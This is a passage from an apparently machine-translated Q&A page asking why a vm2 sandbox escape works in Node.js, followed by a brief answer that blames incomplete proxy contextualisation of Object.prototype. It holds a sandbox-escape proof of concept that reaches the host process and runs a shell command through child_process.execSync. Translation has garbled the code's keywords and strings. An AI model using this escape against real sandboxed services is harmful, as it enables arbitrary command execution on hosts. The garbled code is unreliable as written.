Javascript 如何理解以下代码以在node.js中退出vm2沙箱

Javascript 如何理解以下代码以在node.js中退出vm2沙箱,javascript,node.js,node-vm2,Javascript,Node.js,Node Vm2,我尽可能多地理解下面的代码,因为理解它对我帮助很大 “严格使用”; const{VM}=require('vm2'); const untrusted=`var进程; 试一试{ Object.defineProperty(Buffer.from(“”),{get set(){ Object.defineProperty(Object.prototype,“get”,{get(){ 抛出x=>x.constructor(“返回进程”)(); }}); return()=>{}; }}); }捕获(

我尽可能多地理解下面的代码,因为理解它对我帮助很大

“严格使用”;
const{VM}=require('vm2');
const untrusted=`var进程;
试一试{
Object.defineProperty(Buffer.from(“”),{get set(){
Object.defineProperty(Object.prototype,“get”,{get(){
抛出x=>x.constructor(“返回进程”)();
}});
return()=>{};
}});
}捕获(e){
进程=e(()=>{});
}
process.mainModule.require(“child_process”).execSync(“id”).toString();`;
试一试{
log(新VM().run(不受信任));
}捕获(x){
控制台日志(x);
}
上面的代码可以从vm2沙箱中转义。我从GitHub克隆了vm2的源代码,并重置为7ecabb1

我知道vm2比vm更安全,因为它通过es6中的代理阻止了原型链。在上面的代码中,抛出并捕获一个异常,然后将一个箭头函数传递到
x=>x.constructor(“返回过程”)()
;此时,x是一个代理对象,可以访问外部函数进行转义

我也尝试了这个代码

“严格使用”;
const{VM}=require('vm2');
const untrusted=`var进程;
试一试{
抛出函数(x){
调试器;
返回x.constructor(“返回过程”)();
};
}捕获(e){
e(()=>{});
}`;
试一试{
log(新VM().run(不受信任));
}捕获(x){
控制台日志(x);
}
但是在这段代码中,x=>x.constructor(“returnprocess”)(也是一样,此时,x是一个函数,无法逃出沙箱,所以我非常困惑。第一段代码能够从vm2的沙箱中逃出的原因是什么?

如果您阅读修复程序,您会发现
对象。prototype
未正确上下文化

在您的第二段代码中,您不会破坏getter/setter来注入要在主机中运行的函数

基本上,代理是不完整的